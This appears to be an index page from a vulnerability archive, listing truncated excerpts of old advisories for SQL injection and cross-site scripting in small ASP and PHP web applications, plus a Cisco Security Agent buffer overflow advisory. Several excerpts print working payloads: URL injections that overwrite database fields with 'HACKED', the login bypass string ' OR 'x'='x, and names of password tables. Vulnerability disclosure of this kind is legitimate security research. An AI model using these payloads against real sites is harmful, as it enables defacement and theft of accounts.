bttlxeForum Multiple SQL Injection And Cross Site Scripting

Aria-Security Team http://Aria-Security.Net ----------------------------- Discovered By: Mormoroth Shout outs The-0utlaw for completing the vuln. I.SQL Injection http://site.ltd/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';-- This Changes MemberList...

Lotfian.com DATABASE DRIVEN TRAVEL SITE SQL Injection Vuln

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE...

lotfiandb-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

shnews-sql.txt

...:::::SH-News 3.0 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By : hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to my best friend in the world hadiaryaie200...

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED'...

Content Injector 1.53 (index.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== Content Injector 1.53 index.php Remote SQL Injection Vulnerability ====================================================================...

SH-News 3.0 - 'comments.php' SQL Injection

...:::::SH-News 3.0 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By : hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to my best friend in the world hadiaryaie200...

SH-News 3.0 - comments.php SQL Injection

SH-News 3.0 - comments.php SQL Injection ...:::::SH-News 3.0 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By : hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to ...

SH-News 3.0 (comments.php id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================ SH-News 3.0 comments.php id Remote SQL Injection Vulnerability ================================================================ ...:::::SH-News 3.0 SQL Injection Vulnerbility...

NSFOCUS SA2007-02 : Cisco Security Agent Remote Buffer Overflow Vulnerability

NSFOCUS Security Advisory SA2007-02 Cisco Security Agent Remote Buffer Overflow Vulnerability Release Date: 2007-12-06 CVE ID: CVE-2007-5580 http://www.nsfocus.com/english/homepage/research/0702.htm Affected systems & software =================== Cisco Security Agent for Windows 4.5.1.672 Cisco...

Aria-Security.Net: PenPals Login and search page SQL Injection

--------------------------- Aria-Security Team http://Aria-Security.Net ---------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1148 Shout outs to : AurA TLOTD http://ankoor.com/ vendor Dork:Powered By Anblik Affected fileS: search.asp login.asp 'group by...

Lotfian Brochure and cataloge Script XSS And SQL Injection

Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...

irola-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...

coolshot-sql.txt

Aria-Security Team http://aria-security.net ------------------------------------- CoolShot E-Lite POS 1.0 http://coolshot.net/index.php/works/49-e-lite-pos Original Advisory @ http://aria-security.net/forum/showthread.php?p=1108post1108 Published on November 24 2007 users.userid users.username...

ci-sql.txt

--==+================================================================================+==-- --==+ Content Injector V1.52 SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: S.W.A.T...

Aria-Security.Net: Gouae DWD Realty SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, Vendor: http://gouae.com Original Page: http://aria-security.net/forum/showthread.php?p=1116 Username: Admin Password: anything' OR 'x'='x More Advisories @...

jiros-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://www.jiros.ne Google Search: JBS v2.0, Powered by JiRo´s.Net Path: files/login.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To...

NetAuctionHelp Classified Ads v1.0 SQL Injection

Aria-Security Team http://Aria-Security.Net ------------------------------------------ Original Advisory @ http://aria-security.net/forum/showthread.php?p=1111 Try it online @ http://ads.netauctionhelp.com needed tables: tblMember.id tblMember.login tblMember.pswd Vulnarable Page: Login.asp Run...

Irola My-Time 3.5 Remote SQL Injection Vulnerability

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106 Vendor: http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables:...

Aria-Security.net: Irola My-Time v3.5 SQL Injection

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...